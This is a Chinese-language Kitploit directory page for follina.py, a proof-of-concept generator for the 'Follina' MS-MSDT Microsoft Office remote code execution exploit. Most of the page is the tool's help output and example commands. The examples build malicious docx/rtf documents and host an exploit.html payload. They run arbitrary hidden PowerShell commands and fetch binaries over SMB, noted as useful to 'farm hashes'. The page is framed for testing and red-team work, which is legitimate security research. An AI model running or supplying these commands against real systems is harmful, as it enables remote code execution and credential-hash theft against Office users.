Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
follina.py — 复现完整 'Follina' Office RCE 漏洞的 POC,用于测试目的。 | Kitploit
工具/GitHubGitHub/chvancooten/follina.py
Payload生成漏洞利用渗透测试红队
GitHubchvancooten/follina.py

follina.py

复现完整 'Follina' Office RCE 漏洞的 POC,用于测试目的。

查看仓库
1.1k2483年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

'Follina' MS-MSDT n-day Microsoft Office RCE 漏洞

快速 POC,用于在本地测试环境中复现 “Follina” Office RCE 漏洞。运行脚本会在当前工作目录生成一个 clickme.docx(或 clickme.rtf)载荷文件,并启动一个承载该载荷文件(www/exploit.html)的 Web 服务器。载荷和 Web 服务器参数均可配置(参见帮助和示例)。

⚠ 切勿在生产环境中使用,否则你会被视为傻瓜

用法:

root@kitploit:~
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]

options:
  -h, --help            show this help message and exit

Required Arguments:
  -m {command,binary}, --mode {command,binary}
                        Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command

Binary Execution Arguments:
  -b BINARY, --binary BINARY
                        The full path of the binary to run. Can be local or remote from an SMB share

Command Execution Arguments:
  -c COMMAND, --command COMMAND
                        The encoded command to execute in "command" mode

Optional Arguments:
  -t {rtf,docx}, --type {rtf,docx}
                        The type of payload to use, can be "docx" or "rtf"
  -u URL, --url URL     The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
  -H HOST, --host HOST  The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
  -P PORT, --port PORT  The port to run the HTTP server on, defaults to 80

示例:

root@kitploit:~
# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe

# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe

# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

致谢

感谢 Kevin Beaumont 对该问题的原始分析,感谢 @KevTheHermit 分享其 POC,以及 John Hammond 在分析载荷需求方面所做的进一步工作。另外感谢 @mkolsek 提供支持 Office 2019 的模板,以及 @theluemmel 与我分享其版本的载荷。

下载工具